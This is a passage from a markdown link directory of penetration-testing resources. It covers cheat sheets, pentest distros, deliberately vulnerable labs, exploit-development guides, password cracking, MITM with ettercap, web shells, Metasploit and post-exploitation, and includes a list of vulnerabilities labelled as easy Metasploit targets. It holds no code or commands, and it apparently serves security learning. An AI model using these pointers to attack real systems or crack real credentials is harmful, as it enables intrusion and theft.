* [http://www.blackhat.com/presentations/bh-dc-10/Bannedit/BlackHat-DC-2010-Bannedit-Advanced-Command-Injection-Exploitation-1-wp.pdf](http://www.blackhat.com/presentations/bh-dc-10/Bannedit/BlackHat-DC-2010-Bannedit-Advanced-Command-Injection-Exploitation-1-wp.pdf)
## OS and Scripts
* [http://en.wikipedia.org/wiki/IPv4_subnetting_reference](http://en.wikipedia.org/wiki/IPv4_subnetting_reference)
* [http://www.nixtutor.com/linux/all-the-best-linux-cheat-sheets/](http://www.nixtutor.com/linux/all-the-best-linux-cheat-sheets/)
* [http://shelldorado.com/shelltips/beginner.html](http://shelldorado.com/shelltips/beginner.html)
* [http://www.linuxsurvival.com/](http://www.linuxsurvival.com/)
* [http://mywiki.wooledge.org/BashPitfalls](http://mywiki.wooledge.org/BashPitfalls)
* [http://rubular.com/](http://rubular.com/)
* [http://www.iana.org/assignments/port-numbers](http://www.iana.org/assignments/port-numbers)
* [http://www.robvanderwoude.com/ntadmincommands.php](http://www.robvanderwoude.com/ntadmincommands.php)
* [http://www.nixtutor.com/linux/all-the-best-linux-cheat-sheets/](http://www.nixtutor.com/linux/all-the-best-linux-cheat-sheets/)
## Tools
* [http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf](http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf)
* [http://www.secguru.com/files/cheatsheet/nessusNMAPcheatSheet.pdf](http://www.secguru.com/files/cheatsheet/nessusNMAPcheatSheet.pdf)
* [http://sbdtools.googlecode.com/files/hping3_cheatsheet_v1.0-ENG.pdf](http://sbdtools.googlecode.com/files/hping3_cheatsheet_v1.0-ENG.pdf)
* [http://sbdtools.googlecode.com/files/Nmap5%20cheatsheet%20eng%20v1.pdf](http://sbdtools.googlecode.com/files/Nmap5%20cheatsheet%20eng%20v1.pdf)
* [http://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf](http://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf)
* [http://rmccurdy.com/scripts/Metasploit%20meterpreter%20cheat%20sheet%20reference.html](http://rmccurdy.com/scripts/Metasploit%20meterpreter%20cheat%20sheet%20reference.html)
* [http://h.ackack.net/cheat-sheets/netcat](http://h.ackack.net/cheat-sheets/netcat)
## Distros
* [http://www.backtrack-linux.org/](http://www.backtrack-linux.org/)
* [http://www.matriux.com/](http://www.matriux.com/)
* [http://samurai.inguardians.com/](http://samurai.inguardians.com/)
* [http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project](http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project)
* [https://pentoo.ch/](https://pentoo.ch/)
* [http://www.hackfromacave.com/articles_and_adventures/katana_v2_release.html](http://www.hackfromacave.com/articles_and_adventures/katana_v2_release.html)
* [http://www.piotrbania.com/all/kon-boot/](http://www.piotrbania.com/all/kon-boot/)
* [http://www.linuxfromscratch.org/](http://www.linuxfromscratch.org/)
* [http://sumolinux.suntzudata.com/](http://sumolinux.suntzudata.com/)
* [http://blog.0x0e.org/2009/11/20/pentesting-with-an-ubuntu-box/#comments](http://blog.0x0e.org/2009/11/20/pentesting-with-an-ubuntu-box/#comments)
* [http://www.backbox.org/](http://www.backbox.org/)
## Labs
## ISOs and VMs
* [http://sourceforge.net/projects/websecuritydojo/](http://sourceforge.net/projects/websecuritydojo/)
* [http://code.google.com/p/owaspbwa/wiki/ProjectSummary](http://code.google.com/p/owaspbwa/wiki/ProjectSummary)
* [http://heorot.net/livecds/](http://heorot.net/livecds/)
* [http://informatica.uv.es/~carlos/docencia/netinvm/](http://informatica.uv.es/~carlos/docencia/netinvm/)
* [http://www.bonsai-sec.com/en/research/moth.php](http://www.bonsai-sec.com/en/research/moth.php)
* [http://blog.metasploit.com/2010/05/introducing-metasploitable.html](http://blog.metasploit.com/2010/05/introducing-metasploitable.html)
* [http://pynstrom.net/holynix.php](http://pynstrom.net/holynix.php)
* [http://gnacktrack.co.uk/download.php](http://gnacktrack.co.uk/download.php)
* [http://sourceforge.net/projects/lampsecurity/files/](http://sourceforge.net/projects/lampsecurity/files/)
* [https://www.hacking-lab.com/news/newspage/livecd-v4.3-available.html](https://www.hacking-lab.com/news/newspage/livecd-v4.3-available.html)
* [http://sourceforge.net/projects/virtualhacking/files/](http://sourceforge.net/projects/virtualhacking/files/)
* [http://www.badstore.net/](http://www.badstore.net/)
* [http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10](http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10)
* [http://www.dvwa.co.uk/](http://www.dvwa.co.uk/)
* [http://sourceforge.net/projects/thebutterflytmp/](http://sourceforge.net/projects/thebutterflytmp/)
## Vulnerable Software
* [http://www.oldapps.com/](http://www.oldapps.com/)
* [http://www.oldversion.com/](http://www.oldversion.com/)
* [http://www.exploit-db.com/webapps/](http://www.exploit-db.com/webapps/)
* [http://code.google.com/p/wavsep/downloads/list](http://code.google.com/p/wavsep/downloads/list)
* [http://www.owasp.org/index.php/Owasp_SiteGenerator](http://www.owasp.org/index.php/Owasp_SiteGenerator)
* [http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx](http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx)
* [http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx](http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx)
* [http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx](http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx)
* [http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx](http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx)
## Test Sites
* [http://www.webscantest.com/](http://www.webscantest.com/)
* [http://crackme.cenzic.com/Kelev/view/home.php](http://crackme.cenzic.com/Kelev/view/home.php)
* [http://zero.webappsecurity.com/banklogin.asp?serviceName=FreebankCaastAccess&templateName=prod_sel.forte&source=Freebank&AD_REFERRING_URL=http://www.Freebank.com](http://zero.webappsecurity.com/banklogin.asp?serviceName=FreebankCaastAccess&templateName=prod_sel.forte&source=Freebank&AD_REFERRING_URL=http://www.Freebank.com)
* [http://testaspnet.vulnweb.com/](http://testaspnet.vulnweb.com/)
* [http://testasp.vulnweb.com/](http://testasp.vulnweb.com/)
* [http://testphp.vulnweb.com/](http://testphp.vulnweb.com/)
* [http://demo.testfire.net/](http://demo.testfire.net/)
* [http://hackme.ntobjectives.com/](http://hackme.ntobjectives.com/)
## Exploitation Intro
If you'd like to get into exploit dev, these are really the guides and docs that will start you off in the right direction. Since Exploit dev is not my primary occupation this section could always use help.
* [http://myne-us.blogspot.com/2010/08/from-0x90-to-0x4c454554-journey-into.html](http://myne-us.blogspot.com/2010/08/from-0x90-to-0x4c454554-journey-into.html)
* [http://www.mgraziano.info/docs/stsi2010.pdf](http://www.mgraziano.info/docs/stsi2010.pdf)
* [http://www.abysssec.com/blog/2010/05/past-present-future-of-windows-exploitation/](http://www.abysssec.com/blog/2010/05/past-present-future-of-windows-exploitation/)
* [http://www.ethicalhacker.net/content/view/122/2/](http://www.ethicalhacker.net/content/view/122/2/)
* [http://code.google.com/p/it-sec-catalog/wiki/Exploitation](http://code.google.com/p/it-sec-catalog/wiki/Exploitation)
* [http://x9090.blogspot.com/2010/03/tutorial-exploit-writting-tutorial-from.html](http://x9090.blogspot.com/2010/03/tutorial-exploit-writting-tutorial-from.html)
* [http://ref.x86asm.net/index.html](http://ref.x86asm.net/index.html)
## Reverse Engineering & Malware
* [http://www.woodmann.com/TiGa/idaseries.html](http://www.woodmann.com/TiGa/idaseries.html)
* [http://www.binary-auditing.com/](http://www.binary-auditing.com/)
* [http://visi.kenshoto.com/](http://visi.kenshoto.com/)
* [http://www.radare.org/y/](http://www.radare.org/y/)
* [http://www.offensivecomputing.net/](http://www.offensivecomputing.net/)
## Passwords and Hashes
* [http://www.irongeek.com/i.php?page=videos/password-exploitation-class](http://www.irongeek.com/i.php?page=videos/password-exploitation-class)
* [http://cirt.net/passwords](http://cirt.net/passwords)
* [http://sinbadsecurity.blogspot.com/2008/10/ms-sql-server-password-recovery.html](http://sinbadsecurity.blogspot.com/2008/10/ms-sql-server-password-recovery.html)
* [http://www.foofus.net/~jmk/medusa/medusa-smbnt.html](http://www.foofus.net/~jmk/medusa/medusa-smbnt.html)
* [http://www.foofus.net/?page_id=63](http://www.foofus.net/?page_id=63)
* [http://hashcrack.blogspot.com/](http://hashcrack.blogspot.com/)
* [http://www.nirsoft.net/articles/saved_password_location.html](http://www.nirsoft.net/articles/saved_password_location.html)
* [http://www.onlinehashcrack.com/](http://www.onlinehashcrack.com/)
* [http://www.md5this.com/list.php?](http://www.md5this.com/list.php?)
* [http://www.virus.org/default-password](http://www.virus.org/default-password)
* [http://www.phenoelit-us.org/dpl/dpl.html](http://www.phenoelit-us.org/dpl/dpl.html)
* [http://news.electricalchemy.net/2009/10/cracking-passwords-in-cloud.html](http://news.electricalchemy.net/2009/10/cracking-passwords-in-cloud.html)
## Wordlists
* [http://contest.korelogic.com/wordlists.html](http://contest.korelogic.com/wordlists.html)
* [http://packetstormsecurity.org/Crackers/wordlists/](http://packetstormsecurity.org/Crackers/wordlists/)
* [http://www.skullsecurity.org/wiki/index.php/Passwords](http://www.skullsecurity.org/wiki/index.php/Passwords)
* [http://www.ericheitzman.com/passwd/passwords/](http://www.ericheitzman.com/passwd/passwords/)
## Pass the Hash
* [http://www.sans.org/reading_room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation_33283](http://www.sans.org/reading_room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation_33283)
* [http://www.sans.org/reading_room/whitepapers/testing/crack-pass-hash_33219](http://www.sans.org/reading_room/whitepapers/testing/crack-pass-hash_33219)
* [http://carnal0wnage.blogspot.com/2008/03/using-pash-hash-toolkit.html](http://carnal0wnage.blogspot.com/2008/03/using-pash-hash-toolkit.html)
## MiTM
* [http://www.giac.org/certified_professionals/practicals/gsec/0810.php](http://www.giac.org/certified_professionals/practicals/gsec/0810.php)
* [http://www.linuxsecurity.com/docs/PDF/dsniff-n-mirror.pdf](http://www.linuxsecurity.com/docs/PDF/dsniff-n-mirror.pdf)
* [http://www.cs.uiuc.edu/class/sp08/cs498sh/slides/dsniff.pdf](http://www.cs.uiuc.edu/class/sp08/cs498sh/slides/dsniff.pdf)
* [http://www.techvibes.com/blog/a-hackers-story-let-me-tell-you-just-how-easily-i-can-steal-your-personal-data](http://www.techvibes.com/blog/a-hackers-story-let-me-tell-you-just-how-easily-i-can-steal-your-personal-data)
* [http://www.mindcenter.net/uploads/ECCE101.pdf](http://www.mindcenter.net/uploads/ECCE101.pdf)
* [http://toorcon.org/pres12/3.pdf](http://toorcon.org/pres12/3.pdf)
* [http://media.techtarget.com/searchUnifiedCommunications/downloads/Seven_Deadliest_UC_Attacks_Ch3.pdf](http://media.techtarget.com/searchUnifiedCommunications/downloads/Seven_Deadliest_UC_Attacks_Ch3.pdf)
* [http://packetstormsecurity.org/papers/wireless/cracking-air.pdf](http://packetstormsecurity.org/papers/wireless/cracking-air.pdf)
* [http://www.blackhat.com/presentations/bh-europe-03/bh-europe-03-valleri.pdf](http://www.blackhat.com/presentations/bh-europe-03/bh-europe-03-valleri.pdf)
* [http://www.oact.inaf.it/ws-ssri/Costa.pdf](http://www.oact.inaf.it/ws-ssri/Costa.pdf)
* [http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-sam_bowne-hijacking_web_2.0.pdf](http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-sam_bowne-hijacking_web_2.0.pdf)
* [http://mcafeeseminar.com/focus/downloads/Live_Hacking.pdf](http://mcafeeseminar.com/focus/downloads/Live_Hacking.pdf)
* [http://www.seanobriain.com/docs/PasstheParcel-MITMGuide.pdf](http://www.seanobriain.com/docs/PasstheParcel-MITMGuide.pdf)
* [http://www.more.net/sites/default/files/2010JohnStrandKeynote.pdf](http://www.more.net/sites/default/files/2010JohnStrandKeynote.pdf)
* [http://www.leetupload.com/database/Misc/Papers/Asta%20la%20Vista/18.Ettercap_Spoof.pdf](http://www.leetupload.com/database/Misc/Papers/Asta%20la%20Vista/18.Ettercap_Spoof.pdf)
* [http://bandwidthco.com/whitepapers/netforensics/arp/EtterCap%20ARP%20Spoofing%20&%20Beyond.pdf](http://bandwidthco.com/whitepapers/netforensics/arp/EtterCap%20ARP%20Spoofing%20&%20Beyond.pdf)
* [http://bandwidthco.com/whitepapers/netforensics/arp/Fun%20With%20EtterCap%20Filters.pdf](http://bandwidthco.com/whitepapers/netforensics/arp/Fun%20With%20EtterCap%20Filters.pdf)
* [http://www.iac.iastate.edu/iasg/libarchive/0910/The_Magic_of_Ettercap/The_Magic_of_Ettercap.pdf](http://www.iac.iastate.edu/iasg/libarchive/0910/The_Magic_of_Ettercap/The_Magic_of_Ettercap.pdf)
* [http://articles.manugarg.com/arp_spoofing.pdf](http://articles.manugarg.com/arp_spoofing.pdf)
* [http://academy.delmar.edu/Courses/ITSY2430/eBooks/Ettercap(ManInTheMiddleAttack-tool).pdf](http://academy.delmar.edu/Courses/ITSY2430/eBooks/Ettercap(ManInTheMiddleAttack-tool).pdf)
* [http://www.ucci.it/docs/ICTSecurity-2004-26.pdf](http://www.ucci.it/docs/ICTSecurity-2004-26.pdf)
* [http://web.mac.com/opticrealm/iWeb/asurobot/My%20Cyber%20Attack%20Papers/My%20Cyber%20Attack%20Papers_files/ettercap_Nov_6_2005-1.pdf](http://web.mac.com/opticrealm/iWeb/asurobot/My%20Cyber%20Attack%20Papers/My%20Cyber%20Attack%20Papers_files/ettercap_Nov_6_2005-1.pdf)
* [http://blog.spiderlabs.com/2010/12/thicknet.html](http://blog.spiderlabs.com/2010/12/thicknet.html)
* [http://www.hackyeah.com/2010/10/ettercap-filters-with-metasploit-browser_autopwn/](http://www.hackyeah.com/2010/10/ettercap-filters-with-metasploit-browser_autopwn/)
* [http://www.go4expert.com/forums/showthread.php?t=11842](http://www.go4expert.com/forums/showthread.php?t=11842)
* [http://www.irongeek.com/i.php?page=security/ettercapfilter](http://www.irongeek.com/i.php?page=security/ettercapfilter)
* [http://openmaniak.com/ettercap_filter.php](http://openmaniak.com/ettercap_filter.php)
* [http://www.irongeek.com/i.php?page=videos/dns-spoofing-with-ettercap-pharming](http://www.irongeek.com/i.php?page=videos/dns-spoofing-with-ettercap-pharming)
* [http://www.irongeek.com/i.php?page=videos/ettercap-plugins-find-ip-gw-discover-isolate](http://www.irongeek.com/i.php?page=videos/ettercap-plugins-find-ip-gw-discover-isolate)
* [http://www.irongeek.com/i.php?page=videos/ettercapfiltervid1](http://www.irongeek.com/i.php?page=videos/ettercapfiltervid1)
* [http://spareclockcycles.org/2010/06/10/sergio-proxy-released/](http://spareclockcycles.org/2010/06/10/sergio-proxy-released/)
## Tools
### OSINT
* [http://www.edge-security.com/theHarvester.php](http://www.edge-security.com/theHarvester.php)
* [http://www.mavetju.org/unix/dnstracer-man.php](http://www.mavetju.org/unix/dnstracer-man.php)
* [http://www.paterva.com/web5/](http://www.paterva.com/web5/)
### Metadata
* [http://www.sans.org/reading_room/whitepapers/privacy/document-metadata-silent-killer_32974](http://www.sans.org/reading_room/whitepapers/privacy/document-metadata-silent-killer_32974)
* [http://lcamtuf.coredump.cx/strikeout/](http://lcamtuf.coredump.cx/strikeout/)
* [http://www.sno.phy.queensu.ca/~phil/exiftool/](http://www.sno.phy.queensu.ca/~phil/exiftool/)
* [http://www.edge-security.com/metagoofil.php](http://www.edge-security.com/metagoofil.php)
* [http://www.darkoperator.com/blog/2009/4/24/metadata-enumeration-with-foca.html](http://www.darkoperator.com/blog/2009/4/24/metadata-enumeration-with-foca.html)
## Google Hacking
* [http://www.stachliu.com/index.php/resources/tools/google-hacking-diggity-project/](http://www.stachliu.com/index.php/resources/tools/google-hacking-diggity-project/)
* [http://midnightresearch.com/projects/search-engine-assessment-tool/#downloads](http://midnightresearch.com/projects/search-engine-assessment-tool/#downloads)
* [http://sqid.rubyforge.org/#next](http://sqid.rubyforge.org/#next)
* [http://voidnetwork.org/5ynL0rd/darkc0de/python_script/dorkScan.html](http://voidnetwork.org/5ynL0rd/darkc0de/python_script/dorkScan.html)
## Web
* [http://www.bindshell.net/tools/beef](http://www.bindshell.net/tools/beef)
* [http://blindelephant.sourceforge.net/](http://blindelephant.sourceforge.net/)
* [http://xsser.sourceforge.net/](http://xsser.sourceforge.net/)
* [http://sourceforge.net/projects/rips-scanner/](http://sourceforge.net/projects/rips-scanner/)
* [http://www.divineinvasion.net/authforce/](http://www.divineinvasion.net/authforce/)
* [http://andlabs.org/tools.html#sotf](http://andlabs.org/tools.html#sotf)
* [http://www.taddong.com/docs/Browser_Exploitation_for_Fun&Profit_Taddong-RaulSiles_Nov2010_v1.1.pdf](http://www.taddong.com/docs/Browser_Exploitation_for_Fun&Profit_Taddong-RaulSiles_Nov2010_v1.1.pdf)
* [http://carnal0wnage.blogspot.com/2007/07/using-sqid-sql-injection-digger-to-look.html](http://carnal0wnage.blogspot.com/2007/07/using-sqid-sql-injection-digger-to-look.html)
* [http://code.google.com/p/pinata-csrf-tool/](http://code.google.com/p/pinata-csrf-tool/)
* [http://xsser.sourceforge.net/#intro](http://xsser.sourceforge.net/#intro)
* [http://www.contextis.co.uk/resources/tools/clickjacking-tool/](http://www.contextis.co.uk/resources/tools/clickjacking-tool/)
* [http://packetstormsecurity.org/files/view/69896/unicode-fun.txt](http://packetstormsecurity.org/files/view/69896/unicode-fun.txt)
* [http://sourceforge.net/projects/ws-attacker/files/](http://sourceforge.net/projects/ws-attacker/files/)
* [https://github.com/koto/squid-imposter](https://github.com/koto/squid-imposter)
## Attack Strings
* [http://code.google.com/p/fuzzdb/](http://code.google.com/p/fuzzdb/)
* [http://www.owasp.org/index.php/Category:OWASP_Fuzzing_Code_Database#tab=Statements](http://www.owasp.org/index.php/Category:OWASP_Fuzzing_Code_Database#tab=Statements)
## Shells
* [http://sourceforge.net/projects/yokoso/](http://sourceforge.net/projects/yokoso/)
* [http://sourceforge.net/projects/ajaxshell/](http://sourceforge.net/projects/ajaxshell/)
## Scanners
* [http://w3af.sourceforge.net/](http://w3af.sourceforge.net/)
* [http://code.google.com/p/skipfish/](http://code.google.com/p/skipfish/)
* [http://sqlmap.sourceforge.net/](http://sqlmap.sourceforge.net/)
* [http://sqid.rubyforge.org/#next](http://sqid.rubyforge.org/#next)
* [http://packetstormsecurity.org/UNIX/scanners/XSSscan.py.txt](http://packetstormsecurity.org/UNIX/scanners/XSSscan.py.txt)
* [http://code.google.com/p/fimap/wiki/WindowsAttack](http://code.google.com/p/fimap/wiki/WindowsAttack)
* [http://code.google.com/p/fm-fsf/](http://code.google.com/p/fm-fsf/)
## Proxies
### Burp
* [http://www.sans.org/reading_room/whitepapers/testing/fuzzing-approach-credentials-discovery-burp-intruder_33214](http://www.sans.org/reading_room/whitepapers/testing/fuzzing-approach-credentials-discovery-burp-intruder_33214)
* [http://www.gdssecurity.com/l/b/2010/08/10/constricting-the-web-the-gds-burp-api/](http://www.gdssecurity.com/l/b/2010/08/10/constricting-the-web-the-gds-burp-api/)
* [http://sourceforge.net/projects/belch/files/](http://sourceforge.net/projects/belch/files/)
* [http://www.securityninja.co.uk/application-security/burp-suite-tutorial-repeater-and-comparer-tools](http://www.securityninja.co.uk/application-security/burp-suite-tutorial-repeater-and-comparer-tools)
* [http://blog.ombrepixel.com/](http://blog.ombrepixel.com/)
* [http://andlabs.org/tools.html#dser](http://andlabs.org/tools.html#dser)
* [http://feoh.tistory.com/22](http://feoh.tistory.com/22)
* [http://www.sensepost.com/labs/tools/pentest/reduh](http://www.sensepost.com/labs/tools/pentest/reduh)
* [http://www.owasp.org/index.php/OWASP_WebScarab_NG_Project](http://www.owasp.org/index.php/OWASP_WebScarab_NG_Project)
* [http://intrepidusgroup.com/insight/mallory/](http://intrepidusgroup.com/insight/mallory/)
* [http://www.fiddler2.com/fiddler2/](http://www.fiddler2.com/fiddler2/)
* [http://websecuritytool.codeplex.com/documentation?referringTitle=Home](http://websecuritytool.codeplex.com/documentation?referringTitle=Home)
* [http://translate.google.com/translate?hl=en&sl=es&u=http://xss.codeplex.com/releases/view/43170&prev=/search%3Fq%3Dhttp://www.hackingeek.com/2010/08/x5s-encuentra-fallos-xss-lfi-rfi-en-tus.html%26hl%3Den&rurl=translate.google.com&twu=1](http://translate.google.com/translate?hl=en&sl=es&u=http://xss.codeplex.com/releases/view/43170&prev=/search%3Fq%3Dhttp://www.hackingeek.com/2010/08/x5s-encuentra-fallos-xss-lfi-rfi-en-tus.html%26hl%3Den&rurl=translate.google.com&twu=1)
## Social Engineering
* [http://www.secmaniac.com/](http://www.secmaniac.com/)
## Password
* [http://nmap.org/ncrack/](http://nmap.org/ncrack/)
* [http://www.foofus.net/~jmk/medusa/medusa.html](http://www.foofus.net/~jmk/medusa/medusa.html)
* [http://www.openwall.com/john/](http://www.openwall.com/john/)
* [http://ophcrack.sourceforge.net/](http://ophcrack.sourceforge.net/)
* [http://blog.0x3f.net/tool/keimpx-in-action/](http://blog.0x3f.net/tool/keimpx-in-action/)
* [http://code.google.com/p/keimpx/](http://code.google.com/p/keimpx/)
* [http://sourceforge.net/projects/hashkill/](http://sourceforge.net/projects/hashkill/)
## Metasploit
* [http://www.indepthdefense.com/2009/02/reverse-pivots-with-metasploit-how-not.html](http://www.indepthdefense.com/2009/02/reverse-pivots-with-metasploit-how-not.html)
* [http://code.google.com/p/msf-hack/wiki/WmapNikto](http://code.google.com/p/msf-hack/wiki/WmapNikto)
* [http://www.indepthdefense.com/2009/01/metasploit-visual-basic-payloads-in.html](http://www.indepthdefense.com/2009/01/metasploit-visual-basic-payloads-in.html)
* [http://seclists.org/metasploit/](http://seclists.org/metasploit/)
* [http://pauldotcom.com/2010/03/nessus-scanning-through-a-meta.html](http://pauldotcom.com/2010/03/nessus-scanning-through-a-meta.html)
* [http://meterpreter.illegalguy.hostzi.com/](http://meterpreter.illegalguy.hostzi.com/)
* [http://blog.metasploit.com/2010/03/automating-metasploit-console.html](http://blog.metasploit.com/2010/03/automating-metasploit-console.html)
* [http://www.workrobot.com/sansfire2009/561.html](http://www.workrobot.com/sansfire2009/561.html)
* [http://www.securitytube.net/video/711](http://www.securitytube.net/video/711)
* [http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient#download](http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient#download)
* [http://vimeo.com/16852783](http://vimeo.com/16852783)
* [http://milo2012.wordpress.com/2009/09/27/xlsinjector/](http://milo2012.wordpress.com/2009/09/27/xlsinjector/)
* [http://www.fastandeasyhacking.com/](http://www.fastandeasyhacking.com/)
* [http://trac.happypacket.net/](http://trac.happypacket.net/)
* [http://www.blackhat.com/presentations/bh-dc-10/Ames_Colin/BlackHat-DC-2010-colin-david-neurosurgery-with-meterpreter-wp.pdf](http://www.blackhat.com/presentations/bh-dc-10/Ames_Colin/BlackHat-DC-2010-colin-david-neurosurgery-with-meterpreter-wp.pdf)
* [http://www.blackhat.com/presentations/bh-dc-10/Egypt/BlackHat-DC-2010-Egypt-UAV-slides.pdf](http://www.blackhat.com/presentations/bh-dc-10/Egypt/BlackHat-DC-2010-Egypt-UAV-slides.pdf)
### MSF Exploits or Easy
* [http://www.nessus.org/plugins/index.php?view=single&id=12204](http://www.nessus.org/plugins/index.php?view=single&id=12204)
* [http://www.nessus.org/plugins/index.php?view=single&id=11413](http://www.nessus.org/plugins/index.php?view=single&id=11413)
* [http://www.nessus.org/plugins/index.php?view=single&id=18021](http://www.nessus.org/plugins/index.php?view=single&id=18021)
* [http://www.nessus.org/plugins/index.php?view=single&id=26918](http://www.nessus.org/plugins/index.php?view=single&id=26918)
* [http://www.nessus.org/plugins/index.php?view=single&id=34821](http://www.nessus.org/plugins/index.php?view=single&id=34821)
* [http://www.nessus.org/plugins/index.php?view=single&id=22194](http://www.nessus.org/plugins/index.php?view=single&id=22194)
* [http://www.nessus.org/plugins/index.php?view=single&id=34476](http://www.nessus.org/plugins/index.php?view=single&id=34476)
* [http://www.nessus.org/plugins/index.php?view=single&id=25168](http://www.nessus.org/plugins/index.php?view=single&id=25168)
* [http://www.nessus.org/plugins/index.php?view=single&id=19408](http://www.nessus.org/plugins/index.php?view=single&id=19408)
* [http://www.nessus.org/plugins/index.php?view=single&id=21564](http://www.nessus.org/plugins/index.php?view=single&id=21564)
* [http://www.nessus.org/plugins/index.php?view=single&id=10862](http://www.nessus.org/plugins/index.php?view=single&id=10862)
* [http://www.nessus.org/plugins/index.php?view=single&id=26925](http://www.nessus.org/plugins/index.php?view=single&id=26925)
* [http://www.nessus.org/plugins/index.php?view=single&id=29314](http://www.nessus.org/plugins/index.php?view=single&id=29314)
* [http://www.nessus.org/plugins/index.php?view=single&id=23643](http://www.nessus.org/plugins/index.php?view=single&id=23643)
* [http://www.nessus.org/plugins/index.php?view=single&id=12052](http://www.nessus.org/plugins/index.php?view=single&id=12052)
* [http://www.nessus.org/plugins/index.php?view=single&id=12052](http://www.nessus.org/plugins/index.php?view=single&id=12052)
* [http://www.nessus.org/plugins/index.php?view=single&id=34477](http://www.nessus.org/plugins/index.php?view=single&id=34477)
* [http://www.nessus.org/plugins/index.php?view=single&id=15962](http://www.nessus.org/plugins/index.php?view=single&id=15962)
* [http://www.nessus.org/plugins/index.php?view=single&id=42106](http://www.nessus.org/plugins/index.php?view=single&id=42106)
* [http://www.nessus.org/plugins/index.php?view=single&id=15456](http://www.nessus.org/plugins/index.php?view=single&id=15456)
* [http://www.nessus.org/plugins/index.php?view=single&id=21689](http://www.nessus.org/plugins/index.php?view=single&id=21689)
* [http://www.nessus.org/plugins/index.php?view=single&id=12205](http://www.nessus.org/plugins/index.php?view=single&id=12205)
* [http://www.nessus.org/plugins/index.php?view=single&id=22182](http://www.nessus.org/plugins/index.php?view=single&id=22182)
* [http://www.nessus.org/plugins/index.php?view=single&id=26919](http://www.nessus.org/plugins/index.php?view=single&id=26919)
* [http://www.nessus.org/plugins/index.php?view=single&id=26921](http://www.nessus.org/plugins/index.php?view=single&id=26921)
* [http://www.nessus.org/plugins/index.php?view=single&id=21696](http://www.nessus.org/plugins/index.php?view=single&id=21696)
* [http://www.nessus.org/plugins/index.php?view=single&id=40887](http://www.nessus.org/plugins/index.php?view=single&id=40887)
* [http://www.nessus.org/plugins/index.php?view=single&id=10404](http://www.nessus.org/plugins/index.php?view=single&id=10404)
* [http://www.nessus.org/plugins/index.php?view=single&id=18027](http://www.nessus.org/plugins/index.php?view=single&id=18027)
* [http://www.nessus.org/plugins/index.php?view=single&id=19402](http://www.nessus.org/plugins/index.php?view=single&id=19402)
* [http://www.nessus.org/plugins/index.php?view=single&id=11790](http://www.nessus.org/plugins/index.php?view=single&id=11790)
* [http://www.nessus.org/plugins/index.php?view=single&id=12209](http://www.nessus.org/plugins/index.php?view=single&id=12209)
* [http://www.nessus.org/plugins/index.php?view=single&id=10673](http://www.nessus.org/plugins/index.php?view=single&id=10673)
## NSE
* [http://www.securitytube.net/video/931](http://www.securitytube.net/video/931)
* [http://nmap.org/nsedoc/](http://nmap.org/nsedoc/)
## Net Scanners and Scripts
* [http://nmap.org/](http://nmap.org/)
* [http://asturio.gmxhome.de/software/sambascan2/i.html](http://asturio.gmxhome.de/software/sambascan2/i.html)
* [http://www.softperfect.com/products/networkscanner/](http://www.softperfect.com/products/networkscanner/)
* [http://www.openvas.org/](http://www.openvas.org/)
* [http://tenable.com/products/nessus](http://tenable.com/products/nessus)
* [http://www.rapid7.com/vulnerability-scanner.jsp](http://www.rapid7.com/vulnerability-scanner.jsp)
* [http://www.eeye.com/products/retina/community](http://www.eeye.com/products/retina/community)
## Post Exploitation
* [http://www.awarenetwork.org/home/rattle/source/python/exe2bat.py](http://www.awarenetwork.org/home/rattle/source/python/exe2bat.py)
* [http://www.phx2600.org/archive/2008/08/29/metacab/](http://www.phx2600.org/archive/2008/08/29/metacab/)
* [http://www.room362.com/blog/2011/9/6/post-exploitation-command-lists.html](http://www.room362.com/blog/2011/9/6/post-exploitation-command-lists.html)
## Netcat
* [http://readlist.com/lists/insecure.org/nmap-dev/1/7779.html](http://readlist.com/lists/insecure.org/nmap-dev/1/7779.html)
* [http://www.radarhack.com/tutorial/ads.pdf](http://www.radarhack.com/tutorial/ads.pdf)
* [http://www.infosecwriters.com/text_resources/pdf/Netcat_for_the_Masses_DDebeer.pdf](http://www.infosecwriters.com/text_resources/pdf/Netcat_for_the_Masses_DDebeer.pdf)
* [http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf](http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf)
* [http://www.dest-unreach.org/socat/](http://www.dest-unreach.org/socat/)
* [http://www.antionline.com/archive/index.php/t-230603.html](http://www.antionline.com/archive/index.php/t-230603.html)
* [http://technotales.wordpress.com/2009/06/14/netcat-tricks/](http://technotales.wordpress.com/2009/06/14/netcat-tricks/)
* [http://seclists.org/nmap-dev/2009/q1/581](http://seclists.org/nmap-dev/2009/q1/581)
* [http://www.terminally-incoherent.com/blog/2007/08/07/few-useful-netcat-tricks/](http://www.terminally-incoherent.com/blog/2007/08/07/few-useful-netcat-tricks/)
* [http://www.inguardians.com/research/docs/Skoudis_pentestsecrets.pdf](http://www.inguardians.com/research/docs/Skoudis_pentestsecrets.pdf)
* [http://gse-compliance.blogspot.com/2008/07/netcat.html](http://gse-compliance.blogspot.com/2008/07/netcat.html)
## Source Inspection
* [http://www.justanotherhacker.com/projects/graudit.html](http://www.justanotherhacker.com/projects/graudit.html)
* [http://code.google.com/p/javasnoop/](http://code.google.com/p/javasnoop/)
## Firefox Addons
